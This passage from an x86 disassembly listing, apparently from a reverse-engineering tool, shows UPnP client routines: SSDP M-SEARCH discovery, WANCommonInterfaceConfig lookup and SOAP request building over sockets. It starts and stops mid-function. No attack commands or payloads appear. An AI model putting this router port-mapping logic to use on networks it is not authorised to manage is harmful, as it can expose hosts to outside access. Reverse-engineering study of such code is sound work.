		cmp	byte ptr [esi+1], 74h
		jnz	short loc_9B5B9E
		cmp	byte ptr [esi+2], 74h
		jnz	short loc_9B5B9E
		cmp	byte ptr [esi+3], 70h
		jnz	short loc_9B5B9E
		cmp	byte ptr [esi+4], 3Ah
		jnz	short loc_9B5B9E
		cmp	byte ptr [esi+5], 2Fh
		jnz	short loc_9B5B9E
		cmp	byte ptr [esi+6], 2Fh
		jnz	short loc_9B5B9E
		push	edi
		push	esi
		push	ebx
		jmp	short loc_9B5BBA
; ---------------------------------------------------------------------------


loc_9B5B9E:				; CODE XREF: sub_9B5B6D+6j
					; sub_9B5B6D+Cj ...
		push	ebx		; Str
		call	strlen
		cmp	byte ptr [esi],	2Fh
		pop	ecx
		jz	short loc_9B5BAF
		mov	byte ptr [eax+ebx], 2Fh
		inc	eax


loc_9B5BAF:				; CODE XREF: sub_9B5B6D+3Bj
		cmp	eax, edi
		jg	short loc_9B5BC3
		sub	edi, eax
		push	edi		; Count
		push	esi		; Source
		add	eax, ebx
		push	eax		; Dest


loc_9B5BBA:				; CODE XREF: sub_9B5B6D+2Fj
		call	strncpy
		add	esp, 0Ch


loc_9B5BC3:				; CODE XREF: sub_9B5B6D+44j
		pop	edi
		retn
sub_9B5B6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5BC5(int,size_t Count,char *Source)

sub_9B5BC5	proc near		; CODE XREF: sub_9B5DA4+96p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Count		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Count]
		lea	eax, [edi+80h]
		push	eax		; Str
		mov	[ebp+var_8], eax
		call	strlen
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jnz	short loc_9B5BF2
		push	[ebp+Source]	; Str
		call	strlen
		pop	ecx
		mov	esi, eax


loc_9B5BF2:				; CODE XREF: sub_9B5BC5+20j
		lea	eax, [edi+404h]
		inc	esi
		inc	esi
		push	eax		; Str
		mov	[ebp+Count], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], eax
		call	strlen
		add	esi, eax
		lea	eax, [edi+304h]
		push	eax		; Str
		mov	[ebp+var_10], eax
		call	strlen
		add	[ebp+Count], eax
		add	edi, 104h
		push	edi		; Str
		mov	[ebp+var_14], edi
		call	strlen
		mov	ebx, malloc
		add	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		push	esi		; Size
		call	ebx ; malloc
		push	[ebp+Count]	; Size
		mov	[edi+4], eax
		call	ebx ; malloc
		push	[ebp+var_4]	; Size
		mov	[edi], eax
		call	ebx ; malloc
		mov	ebx, strncpy
		mov	[edi+8], eax
		mov	eax, [ebp+var_8]
		add	esp, 18h
		cmp	byte ptr [eax],	0
		push	esi		; Count
		jz	short loc_9B5C62
		push	eax
		jmp	short loc_9B5C65
; ---------------------------------------------------------------------------


loc_9B5C62:				; CODE XREF: sub_9B5BC5+98j
		push	[ebp+Source]	; Source


loc_9B5C65:				; CODE XREF: sub_9B5BC5+9Bj
		push	dword ptr [edi+4] ; Dest
		call	ebx ; strncpy
		mov	eax, [edi+4]
		add	esp, 0Ch
		add	eax, 7
		push	2Fh		; Val
		push	eax		; Str
		call	strchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9B5C85
		mov	byte ptr [eax],	0


loc_9B5C85:				; CODE XREF: sub_9B5BC5+BBj
		push	[ebp+Count]	; Count
		push	dword ptr [edi+4] ; Source
		push	dword ptr [edi]	; Dest
		call	ebx ; strncpy
		push	[ebp+var_4]	; Count
		push	dword ptr [edi+4] ; Source
		push	dword ptr [edi+8] ; Dest
		call	ebx ; strncpy
		mov	ebx, [edi+4]
		mov	eax, esi
		mov	esi, [ebp+var_C]
		add	esp, 18h
		call	sub_9B5B6D
		mov	eax, [ebp+Count]
		mov	esi, [ebp+var_10]
		mov	ebx, [edi]
		call	sub_9B5B6D
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+var_14]
		mov	ebx, [edi+8]
		call	sub_9B5B6D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B5BC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B5CCA	proc near		; CODE XREF: sub_9B5DA4+B6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_9B5CF7
		push	edi
		push	dword ptr [esi]	; Memory
		mov	edi, free
		call	edi ; free
		push	dword ptr [esi+4] ; Memory
		and	dword ptr [esi], 0
		call	edi ; free
		push	dword ptr [esi+8] ; Memory
		and	dword ptr [esi+4], 0
		call	edi ; free
		add	esp, 0Ch
		and	dword ptr [esi+8], 0
		pop	edi


loc_9B5CF7:				; CODE XREF: sub_9B5CCA+7j
		pop	esi
		retn
sub_9B5CCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5CF9(SOCKET	s,char *buf,int	len,int)

sub_9B5CF9	proc near		; CODE XREF: sub_9B5139:loc_9B531Ap
					; sub_9B5E93+268p ...

readfds		= fd_set ptr -10Ch
timeout		= timeval ptr -8
s		= dword	ptr  8
buf		= dword	ptr  0Ch
len		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	esi
		mov	esi, [ebp+s]
		mov	[ebp+readfds.fd_array],	esi
		mov	[ebp+readfds.fd_count],	1
		mov	[ebp+timeout.tv_sec], eax
		imul	edx, 3E8h
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	40h		; nfds
		mov	[ebp+timeout.tv_usec], edx
		call	select
		test	eax, eax
		jge	short loc_9B5D4D
		or	eax, 0FFFFFFFFh
		jmp	short loc_9B5D62
; ---------------------------------------------------------------------------


loc_9B5D4D:				; CODE XREF: sub_9B5CF9+4Dj
		jnz	short loc_9B5D53
		xor	eax, eax
		jmp	short loc_9B5D62
; ---------------------------------------------------------------------------


loc_9B5D53:				; CODE XREF: sub_9B5CF9:loc_9B5D4Dj
		push	0		; flags
		push	[ebp+len]	; len
		push	[ebp+buf]	; buf
		push	esi		; s
		call	recv


loc_9B5D62:				; CODE XREF: sub_9B5CF9+52j
					; sub_9B5CF9+58j
		pop	esi
		leave
		retn
sub_9B5CF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B5D65	proc near		; CODE XREF: sub_9B5DA4+A8p

Source		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	0		; Dest
		lea	eax, [ebp+arg_4]
		push	eax		; int
		lea	eax, [ebp+Source]
		push	eax		; Source
		mov	eax, [ebp+arg_4]
		add	eax, 484h
		push	eax		; int
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]	; Str
		mov	[ebp+Source], 0
		call	sub_9B644D
		lea	eax, [ebp+Source]
		push	eax		; Str2
		push	offset aConnected ; "Connected"
		call	strcmp
		add	esp, 1Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_9B5D65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5DA4(int,int,void *Count,int netshort,int)

sub_9B5DA4	proc near		; CODE XREF: sub_9AA0F1+64p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Count		= dword	ptr  10h
netshort	= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		jnz	short loc_9B5DB9
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B5DB9:				; CODE XREF: sub_9B5DA4+11j
		push	esi
		mov	esi, [ebp+Count]
		push	ebx
		mov	[ebp+var_4], 1
		push	edi


loc_9B5DC6:				; CODE XREF: sub_9B5DA4+DDj
		mov	edi, [ebp+arg_0]


loc_9B5DC9:				; CODE XREF: sub_9B5DA4+D0j
		push	[ebp+arg_10]	; Count
		lea	eax, [ebp+var_C]
		push	[ebp+netshort]	; netshort
		push	eax		; int
		push	dword ptr [edi+4] ; Str
		call	sub_9B5440
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jz	loc_9B5E70
		inc	[ebp+var_8]
		push	704h		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		push	0Ch		; Size
		push	0		; Val
		push	[ebp+arg_4]	; Dst
		call	memset
		push	esi
		push	[ebp+var_C]
		push	ebx
		call	sub_9B5A22
		push	ebx		; Memory
		call	free
		lea	eax, [esi+284h]
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"...
		push	eax		; Str1
		call	strcmp
		add	esp, 30h
		test	eax, eax
		jz	short loc_9B5E33
		cmp	[ebp+var_4], 3
		jl	short loc_9B5E60


loc_9B5E33:				; CODE XREF: sub_9B5DA4+87j
		push	dword ptr [edi+4] ; Source
		push	esi		; Count
		push	[ebp+arg_4]	; int
		call	sub_9B5BC5
		add	esp, 0Ch
		cmp	[ebp+var_4], 2
		jge	short loc_9B5E8E
		push	esi
		push	[ebp+arg_4]
		call	sub_9B5D65
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B5E8E
		push	[ebp+arg_4]
		call	sub_9B5CCA
		pop	ecx


loc_9B5E60:				; CODE XREF: sub_9B5DA4+8Dj
		push	704h		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		add	esp, 0Ch


loc_9B5E70:				; CODE XREF: sub_9B5DA4+3Ej
		mov	edi, [edi]
		test	edi, edi
		jnz	loc_9B5DC9
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jle	loc_9B5DC6
		xor	eax, eax


loc_9B5E89:				; CODE XREF: sub_9B5DA4+EDj
		pop	edi
		pop	ebx
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B5E8E:				; CODE XREF: sub_9B5DA4+A2j
					; sub_9B5DA4+B1j
		mov	eax, [ebp+var_4]
		jmp	short loc_9B5E89
sub_9B5DA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5E93(SOCKET	s,char *Str,int,int,int,int,int)

sub_9B5E93	proc near		; CODE XREF: sub_9B644D+49p
					; sub_9B658C+52p ...

var_8F0		= byte ptr -8F0h
Dest		= byte ptr -0F0h
cp		= byte ptr -70h
name		= sockaddr ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
buf		= dword	ptr -0Ch
len		= word ptr -8
var_4		= dword	ptr -4
s		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 8F0h
		and	dword ptr [ebp+len], 0
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		mov	esi, _snprintf
		push	edi
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	offset aSS	; "%s#%s"
		push	80h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		mov	edi, [ebp+arg_10]
		add	esp, 14h
		test	edi, edi
		lea	eax, [ebp+var_8F0]
		jnz	short loc_9B5EED
		push	ebx
		push	[ebp+arg_8]
		push	ebx
		push	offset a?xmlVersion1_0 ; "<?xml	version=\"1.0\"?>\r\n<s:Envelope xmln"...
		push	800h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		add	esp, 18h
		jmp	loc_9B5FA4
; ---------------------------------------------------------------------------


loc_9B5EED:				; CODE XREF: sub_9B5E93+3Ej
		push	[ebp+arg_8]
		push	ebx
		push	offset a?xmlVersion1_1 ; "<?xml	version=\"1.0\"?>\r\n<s:Envelope xmln"...
		push	800h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		add	esp, 14h
		lea	eax, [ebp+eax+var_8F0]
		jmp	short loc_9B5F5B
; ---------------------------------------------------------------------------


loc_9B5F0A:				; CODE XREF: sub_9B5E93+CCj
		lea	ecx, [eax+64h]
		lea	esi, [ebp+Dest]
		cmp	esi, ecx
		jbe	short loc_9B5F77
		mov	byte ptr [eax],	3Ch
		inc	eax
		mov	esi, edx
		jmp	short loc_9B5F23
; ---------------------------------------------------------------------------


loc_9B5F1F:				; CODE XREF: sub_9B5E93+94j
		mov	[eax], cl
		inc	eax
		inc	esi


loc_9B5F23:				; CODE XREF: sub_9B5E93+8Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_9B5F1F
		mov	esi, [edi+4]
		mov	byte ptr [eax],	3Eh
		inc	eax
		test	esi, esi
		jz	short loc_9B5F40
		jmp	short loc_9B5F3A
; ---------------------------------------------------------------------------


loc_9B5F36:				; CODE XREF: sub_9B5E93+ABj
		mov	[eax], cl
		inc	eax
		inc	esi


loc_9B5F3A:				; CODE XREF: sub_9B5E93+A1j
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_9B5F36


loc_9B5F40:				; CODE XREF: sub_9B5E93+9Fj
		mov	byte ptr [eax],	3Ch
		inc	eax
		mov	byte ptr [eax],	2Fh
		inc	eax
		jmp	short loc_9B5F4E
; ---------------------------------------------------------------------------


loc_9B5F4A:				; CODE XREF: sub_9B5E93+BFj
		mov	[eax], cl
		inc	eax
		inc	edx


loc_9B5F4E:				; CODE XREF: sub_9B5E93+B5j
		mov	cl, [edx]
		test	cl, cl
		jnz	short loc_9B5F4A
		mov	byte ptr [eax],	3Eh
		inc	eax
		add	edi, 8


loc_9B5F5B:				; CODE XREF: sub_9B5E93+75j
		mov	edx, [edi]
		test	edx, edx
		jnz	short loc_9B5F0A
		mov	cl, [ebx]
		mov	byte ptr [eax],	3Ch
		inc	eax
		mov	byte ptr [eax],	2Fh
		inc	eax
		mov	byte ptr [eax],	6Dh
		inc	eax
		mov	byte ptr [eax],	3Ah
		inc	eax
		mov	edx, ebx
		jmp	short loc_9B5F88
; ---------------------------------------------------------------------------


loc_9B5F77:				; CODE XREF: sub_9B5E93+82j
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		jmp	loc_9B6019
; ---------------------------------------------------------------------------


loc_9B5F82:				; CODE XREF: sub_9B5E93+F7j
		mov	[eax], cl
		inc	eax
		inc	edx
		mov	cl, [edx]


loc_9B5F88:				; CODE XREF: sub_9B5E93+E2j
		test	cl, cl
		jnz	short loc_9B5F82
		lea	ecx, [ebp+Dest]
		sub	ecx, eax
		push	ecx		; Count
		push	offset aSBodySEnvelope ; "></s:Body></s:Envelope>\r\n"
		push	eax		; Dest
		call	strncpy
		add	esp, 0Ch


loc_9B5FA4:				; CODE XREF: sub_9B5E93+55j
		lea	eax, [ebp+var_1C]
		push	eax		; int
		lea	eax, [ebp+len]
		push	eax		; int
		lea	eax, [ebp+cp]
		push	eax		; Dest
		push	[ebp+Str]	; Str
		call	sub_9B5345
		add	esp, 10h
		test	eax, eax
		jz	short loc_9B6019
		xor	esi, esi
		cmp	[ebp+s], esi
		jge	short loc_9B6021
		push	esi		; protocol
		push	1		; type
		push	2		; af
		call	socket
		cmp	eax, esi
		mov	[ebp+s], eax
		jl	short loc_9B6014
		push	dword ptr [ebp+len] ; netshort
		mov	[ebp+name.sa_family], 2
		call	ntohs
		mov	word ptr [ebp+name.sa_data], ax
		lea	eax, [ebp+cp]
		push	eax		; cp
		call	__imp_inet_addr
		mov	dword ptr [ebp+name.sa_data+2],	eax
		push	10h		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		push	[ebp+s]		; s
		call	connect
		test	eax, eax
		jge	short loc_9B6021
		push	[ebp+s]		; s
		call	closesocket


loc_9B6014:				; CODE XREF: sub_9B5E93+143j
		mov	eax, [ebp+arg_18]
		mov	[eax], esi


loc_9B6019:				; CODE XREF: sub_9B5E93+EAj
					; sub_9B5E93+12Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_9B6118
; ---------------------------------------------------------------------------


loc_9B6021:				; CODE XREF: sub_9B5E93+131j
					; sub_9B5E93+176j
		lea	eax, [ebp+var_8F0]
		push	eax		; Str
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	dword ptr [ebp+len] ; len
		lea	eax, [ebp+cp]
		push	eax		; int
		push	[ebp+var_1C]	; int
		push	[ebp+s]		; s
		call	sub_9B596E
		add	esp, 18h
		test	eax, eax
		jg	short loc_9B6050
		or	esi, 0FFFFFFFFh
		jmp	loc_9B610D
; ---------------------------------------------------------------------------


loc_9B6050:				; CODE XREF: sub_9B5E93+1B3j
		mov	esi, [ebp+arg_18]
		mov	eax, [esi]
		mov	ebx, [ebp+arg_14]
		or	[ebp+var_18], 0FFFFFFFFh
		or	[ebp+var_10], 0FFFFFFFFh
		and	dword ptr [esi], 0
		push	1388h
		push	eax
		mov	[ebp+buf], ebx
		mov	[ebp+var_4], eax
		push	ebx
		jmp	loc_9B60F8
; ---------------------------------------------------------------------------


loc_9B6075:				; CODE XREF: sub_9B5E93+272j
		sub	[ebp+var_4], eax
		add	[ebp+buf], eax
		add	[esi], eax
		mov	eax, [esi]
		add	eax, ebx
		cmp	ebx, eax
		mov	edi, ebx
		mov	[ebp+var_14], eax
		jnb	short loc_9B60D9
		mov	al, [ebx]


loc_9B608C:				; CODE XREF: sub_9B5E93+23Bj
		and	[ebp+arg_10], 0
		cmp	al, 0Dh
		jz	short loc_9B60A7
		mov	ecx, edi


loc_9B6096:				; CODE XREF: sub_9B5E93+212j
		cmp	al, 0Dh
		jz	short loc_9B60A7
		cmp	ecx, [ebp+var_14]
		jnb	short loc_9B60D9
		inc	[ebp+arg_10]
		inc	ecx
		mov	al, [ecx]
		jmp	short loc_9B6096
; ---------------------------------------------------------------------------


loc_9B60A7:				; CODE XREF: sub_9B5E93+1FFj
					; sub_9B5E93+205j
		mov	eax, [ebp+arg_10]
		mov	ecx, edi
		call	sub_9B5A5F
		test	eax, eax
		jle	short loc_9B60B8
		mov	[ebp+var_18], eax


loc_9B60B8:				; CODE XREF: sub_9B5E93+220j
		mov	eax, [ebp+arg_10]
		lea	edi, [edi+eax+2]
		mov	al, [edi]
		cmp	al, 0Dh
		jnz	short loc_9B60CB
		cmp	byte ptr [edi+1], 0Ah
		jz	short loc_9B60D2


loc_9B60CB:				; CODE XREF: sub_9B5E93+230j
		cmp	edi, [ebp+var_14]
		jb	short loc_9B608C
		jmp	short loc_9B60D9
; ---------------------------------------------------------------------------


loc_9B60D2:				; CODE XREF: sub_9B5E93+236j
		sub	edi, ebx
		inc	edi
		inc	edi
		mov	[ebp+var_10], edi


loc_9B60D9:				; CODE XREF: sub_9B5E93+1F5j
					; sub_9B5E93+20Aj ...
		mov	ecx, [ebp+var_18]
		test	ecx, ecx
		jle	short loc_9B60ED
		mov	eax, [ebp+var_10]
		test	eax, eax
		jle	short loc_9B60ED
		add	eax, ecx
		cmp	[esi], eax
		jge	short loc_9B610B


loc_9B60ED:				; CODE XREF: sub_9B5E93+24Bj
					; sub_9B5E93+252j
		push	1388h		; int
		push	[ebp+var_4]	; len
		push	[ebp+buf]	; buf


loc_9B60F8:				; CODE XREF: sub_9B5E93+1DDj
		push	[ebp+s]		; s
		call	sub_9B5CF9
		add	esp, 10h
		test	eax, eax
		jg	loc_9B6075


loc_9B610B:				; CODE XREF: sub_9B5E93+258j
		xor	esi, esi


loc_9B610D:				; CODE XREF: sub_9B5E93+1B8j
		push	[ebp+s]		; s
		call	closesocket
		mov	eax, esi


loc_9B6118:				; CODE XREF: sub_9B5E93+189j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B5E93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B611D(int,char *cp,int,int)

sub_9B611D	proc near		; CODE XREF: sub_9AA0F1+3Cp

buf		= byte ptr -644h
to		= sockaddr ptr -44h
Dst		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
optval		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Src		= dword	ptr -18h
var_14		= dword	ptr -14h
Size		= dword	ptr -10h
var_C		= dword	ptr -0Ch
s		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
cp		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 644h
		push	edi
		push	11h		; protocol
		push	2		; type
		xor	edi, edi
		push	2		; af
		mov	[ebp+var_4], edi
		mov	dword ptr [ebp+optval],	1
		call	socket
		cmp	eax, edi
		mov	[ebp+s], eax
		jge	short loc_9B614D
		xor	eax, eax
		jmp	loc_9B6293
; ---------------------------------------------------------------------------


loc_9B614D:				; CODE XREF: sub_9B611D+27j
		push	ebx
		push	esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		mov	esi, ntohs
		add	esp, 0Ch
		cmp	[ebp+arg_C], edi
		mov	[ebp+Dst], 2
		mov	ebx, 76Ch
		jz	short loc_9B617B
		push	ebx		; netshort
		call	esi ; ntohs
		mov	[ebp+var_32], ax


loc_9B617B:				; CODE XREF: sub_9B611D+55j
		push	10h		; Size
		lea	eax, [ebp+to]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_30], edi
		call	memset
		add	esp, 0Ch
		push	ebx		; netshort
		mov	[ebp+to.sa_family], 2
		call	esi ; ntohs
		mov	esi, __imp_inet_addr
		push	offset cp	; "239.255.255.250"
		mov	word ptr [ebp+to.sa_data], ax
		call	esi ; __imp_inet_addr
		mov	ebx, setsockopt
		push	4		; optlen
		mov	dword ptr [ebp+to.sa_data+2], eax
		lea	eax, [ebp+optval]
		push	eax		; optval
		push	4		; optname
		push	0FFFFh		; level
		push	[ebp+s]		; s
		call	ebx ; setsockopt
		test	eax, eax
		jge	short loc_9B61CD
		xor	eax, eax
		jmp	loc_9B6291
; ---------------------------------------------------------------------------


loc_9B61CD:				; CODE XREF: sub_9B611D+A7j
		cmp	[ebp+cp], edi
		jz	short loc_9B61EB
		push	[ebp+cp]	; cp
		call	esi ; __imp_inet_addr
		push	4		; optlen
		mov	[ebp+Size], eax
		mov	[ebp+var_30], eax
		lea	eax, [ebp+Size]
		push	eax		; optval
		push	9		; optname
		push	edi		; level
		push	[ebp+s]		; s
		call	ebx ; setsockopt


loc_9B61EB:				; CODE XREF: sub_9B611D+B3j
		push	10h		; namelen
		lea	eax, [ebp+Dst]
		push	eax		; name
		push	[ebp+s]		; s
		call	bind
		test	eax, eax
		jnz	loc_9B6286
		mov	[ebp+var_1C], edi
		mov	[ebp+var_C], offset off_9A6D1C
		jmp	short loc_9B6210
; ---------------------------------------------------------------------------


loc_9B620E:				; CODE XREF: sub_9B611D+1A8j
					; sub_9B611D+1B2j ...
		xor	edi, edi


loc_9B6210:				; CODE XREF: sub_9B611D+EFj
					; sub_9B611D+164j
		cmp	[ebp+var_1C], edi
		jnz	short loc_9B6254
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+buf]
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255."...
		push	600h		; Count
		push	eax		; Dest
		call	_snprintf
		add	[ebp+var_C], 4
		add	esp, 10h
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	edi		; flags
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		push	[ebp+s]		; s
		call	sendto
		test	eax, eax
		jl	short loc_9B6283


loc_9B6254:				; CODE XREF: sub_9B611D+F6j
		push	[ebp+arg_0]	; int
		lea	eax, [ebp+buf]
		push	600h		; len
		push	eax		; buf
		push	[ebp+s]		; s
		call	sub_9B5CF9
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+var_1C], eax
		jl	short loc_9B6283
		jnz	short loc_9B6296
		cmp	[ebp+var_4], edi
		jnz	short loc_9B6283
		mov	eax, [ebp+var_C]
		cmp	[eax], edi
		jnz	short loc_9B6210


loc_9B6283:				; CODE XREF: sub_9B611D+135j
					; sub_9B611D+156j ...
		mov	edi, [ebp+var_4]


loc_9B6286:				; CODE XREF: sub_9B611D+DFj
		push	[ebp+s]		; s
		call	closesocket
		mov	eax, edi


loc_9B6291:				; CODE XREF: sub_9B611D+ABj
		pop	esi
		pop	ebx


loc_9B6293:				; CODE XREF: sub_9B611D+2Bj
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B6296:				; CODE XREF: sub_9B611D+158j
		lea	ecx, [ebp+var_20]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+Size]
		push	ecx
		lea	ecx, [ebp+Src]
		push	ecx
		push	eax
		lea	ebx, [ebp+buf]
		mov	[ebp+Src], edi
		mov	[ebp+Size], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_20], edi
		call	sub_9B5AC7
		add	esp, 14h
		cmp	[ebp+var_14], 0
		jz	loc_9B620E
		cmp	[ebp+Src], 0
		jz	loc_9B620E
		mov	edi, [ebp+var_20]
		mov	ebx, [ebp+Size]
		lea	eax, [edi+ebx+10h]
		push	eax		; Size
		call	malloc
		mov	esi, eax
		mov	eax, [ebp+var_4]
		push	ebx		; Size
		push	[ebp+Src]	; Src
		lea	ecx, [esi+0Ch]
		mov	[esi], eax
		lea	eax, [esi+ebx+0Dh]
		push	ecx		; Dst
		mov	[esi+4], ecx
		mov	[esi+8], eax
		call	memcpy
		push	edi		; Size
		push	[ebp+var_14]	; Src
		lea	eax, [esi+ebx+0Dh]
		push	eax		; Dst
		mov	byte ptr [esi+ebx+0Ch],	0
		call	memcpy
		lea	eax, [esi+edi]
		add	esp, 1Ch
		mov	byte ptr [eax+ebx+0Dh],	0
		mov	[ebp+var_4], esi
		jmp	loc_9B620E
sub_9B611D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B632A(int,void *Src,size_t Size)

sub_9B632A	proc near		; DATA XREF: sub_9B63B6+20o

arg_0		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+Size]
		cmp	edi, 3Fh
		jle	short loc_9B6338
		push	3Fh
		pop	edi


loc_9B6338:				; CODE XREF: sub_9B632A+9j
		mov	esi, [esp+8+arg_0]
		push	edi		; Size
		push	[esp+0Ch+Src]	; Src
		lea	eax, [esi+4]
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		mov	byte ptr [esi+edi+4], 0
		pop	edi
		pop	esi
		retn
sub_9B632A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B6355(int,void *Src,size_t Size)

sub_9B6355	proc near		; DATA XREF: sub_9B63B6+2Ao

arg_0		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	88h		; Size
		call	malloc
		mov	ebx, [esp+10h+Size]
		cmp	ebx, 3Fh
		pop	ecx
		mov	esi, eax
		jle	short loc_9B6372
		push	3Fh
		pop	ebx


loc_9B6372:				; CODE XREF: sub_9B6355+18j
		mov	edi, [esp+0Ch+arg_0]
		push	40h		; Count
		lea	eax, [edi+4]
		push	eax		; Source
		lea	eax, [esi+8]
		push	eax		; Dest
		call	strncpy
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		lea	eax, [esi+48h]
		push	eax		; Dst
		mov	byte ptr [esi+47h], 0
		call	memcpy
		mov	byte ptr [esi+ebx+48h],	0
		mov	eax, [edi]
		add	esp, 18h
		test	eax, eax
		mov	[esi], eax
		jz	short loc_9B63AD
		mov	eax, [edi]
		mov	[eax+4], esi


loc_9B63AD:				; CODE XREF: sub_9B6355+51j
		mov	[edi], esi
		mov	[esi+4], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9B6355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B63B6	proc near		; CODE XREF: sub_9B644D+5Cp
					; sub_9B658C+65p ...

var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], edx
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_10], offset sub_9B632A
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], offset sub_9B6355
		mov	[ebp+var_4], ecx
		call	sub_9B5746
		pop	ecx
		leave
		retn
sub_9B63B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B63F2	proc near		; CODE XREF: sub_9B644D+132p
					; sub_9B658C+C5p ...

arg_0		= dword	ptr  4

		push	esi
